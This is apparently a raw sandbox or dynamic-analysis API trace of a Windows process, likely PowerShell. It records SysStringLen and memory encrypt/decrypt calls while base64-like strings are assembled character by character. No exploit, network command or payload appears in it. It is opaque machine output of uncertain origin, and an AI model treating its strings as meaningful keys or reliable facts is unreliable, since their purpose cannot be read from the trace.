(param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xb2ef\xbdf2\xc4c7\x85db\xec95\x3163\xbdf8\x7beb") returned 0x20 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xb2ef\xbdf2\xc4c7\x85db\xec95\x3163\xbdf8\x7beb") returned 0x20 [0136.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZ") returned 0x20 [0136.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x3e67\xa2bc\x7f11\x343d\x72a4\xd334\xf6e4\x7bc6") returned 0x20 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x3e67\xa2bc\x7f11\x343d\x72a4\xd334\xf6e4\x7bc6") returned 0x20 [0136.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.838] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX") returned 0x20 [0136.838] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f") returned 0x20 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f") returned 0x20 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f") returned 0x20 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f") returned 0x28 [0136.838] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.838] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX5嫷葛䚠㚃컝宺扜") returned 0x28 [0136.838] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x1f43\xcf74\xa36\x29d2\x7430\x1d96\x6116\x5913") returned 0x28 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x1f43\xcf74\xa36\x29d2\x7430\x1d96\x6116\x5913") returned 0x28 [0136.838] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.838] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX58葛䚠㚃컝宺扜") returned 0x28 [0136.838] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.838] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x88f1\x6f4b\x7699\x4e52\xec7c\x10e\x64e8\x6e9c") returned 0x28 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x88f1\x6f4b\x7699\x4e52\xec7c\x10e\x64e8\x6e9c") returned 0x28 [0136.839] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589䚠㚃컝宺扜") returned 0x28 [0136.839] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x2394\xfb8c\x1295\xa8b\xf6de\x9a83\x290\x91ca") returned 0x28 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x2394\xfb8c\x1295\xa8b\xf6de\x9a83\x290\x91ca") returned 0x28 [0136.839] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589f㚃컝宺扜") returned 0x28 [0136.839] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x2f1b\x88b0\x1533\xf533\x8157\xcf8e\x5d03\x6e87") returned 0x28 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x2f1b\x88b0\x1533\xf533\x8157\xcf8e\x5d03\x6e87") returned 0x28 [0136.839] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fv컝宺扜") returned 0x28 [0136.839] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x1944\xce00\xa26\x2423\xc9a9\x8675\xf09d\x914e") returned 0x28 [0136.839] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x1944\xce00\xa26\x2423\xc9a9\x8675\xf09d\x914e") returned 0x28 [0136.839] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvp宺扜") returned 0x28 [0136.840] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\xe926\x797a\x6d65\x4e0e\x1b41\xc758\xaf6d\xf434") returned 0x28 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\xe926\x797a\x6d65\x4e0e\x1b41\xc758\xaf6d\xf434") returned 0x28 [0136.840] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT扜") returned 0x28 [0136.840] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x73e8\x7af1\x4ec0\xb536\x8819\xbfa3\xe053\xfc30") returned 0x28 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x73e8\x7af1\x4ec0\xb536\x8819\xbfa3\xe053\xfc30") returned 0x28 [0136.840] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT7") returned 0x28 [0136.840] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f") returned 0x28 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f") returned 0x28 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f") returned 0x28 [0136.840] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f") returned 0x30 [0136.840] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT73䌶渱抄䴁톌") returned 0x30 [0136.841] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\xb134\xd44\x12b5\x68b7\x52a\x8111\xc061\xe18b") returned 0x30 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\xb134\xd44\x12b5\x68b7\x52a\x8111\xc061\xe18b") returned 0x30 [0136.841] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT737渱抄䴁톌") returned 0x30 [0136.841] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\x9904\x895c\xe0b2\xab9e\xa58e\xf035\x8a54\x6051") returned 0x30 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\x9904\x895c\xe0b2\xab9e\xa58e\xf035\x8a54\x6051") returned 0x30 [0136.841] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT7370抄䴁톌") returned 0x30 [0136.841] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\x6a29\x8b70\x5cb\xab4f\x3b48\x314b\xc12b\x702b") returned 0x30 [0136.841] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xcc23\x5add\xf713\x47a6\xf243\xda48\x1e41\x528f\x36cf\x431c\x1d79\x6382\x1afa\xfaae\x8fa\xe15f\x6a29\x8b70\x5cb\xab4f\x3b48\x314b\xc12b\x702b") returned 0x30 [0136.841] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.842] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYjZX589fvpT7370=䴁톌") returned 0x30 [0136.842] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.842] SysStringLen (param_1="") returned 0x8 [0136.842] SysStringLen (param_1="Y") returned 0x8 [0136.842] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.843] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="YW") returned 0x8 [0136.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.843] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="YWM") returned 0x8 [0136.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.843] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.843] SysStringLen (param_1="YWM1") returned 0x8 [0136.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.844] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.844] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="YWM1O") returned 0x8 [0136.844] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.844] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.844] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.844] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.844] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.844] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.844] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.844] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.844] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.844] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.845] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.845] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.845] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.845] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.845] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.845] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.845] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.845] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.846] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.846] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.846] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.847] 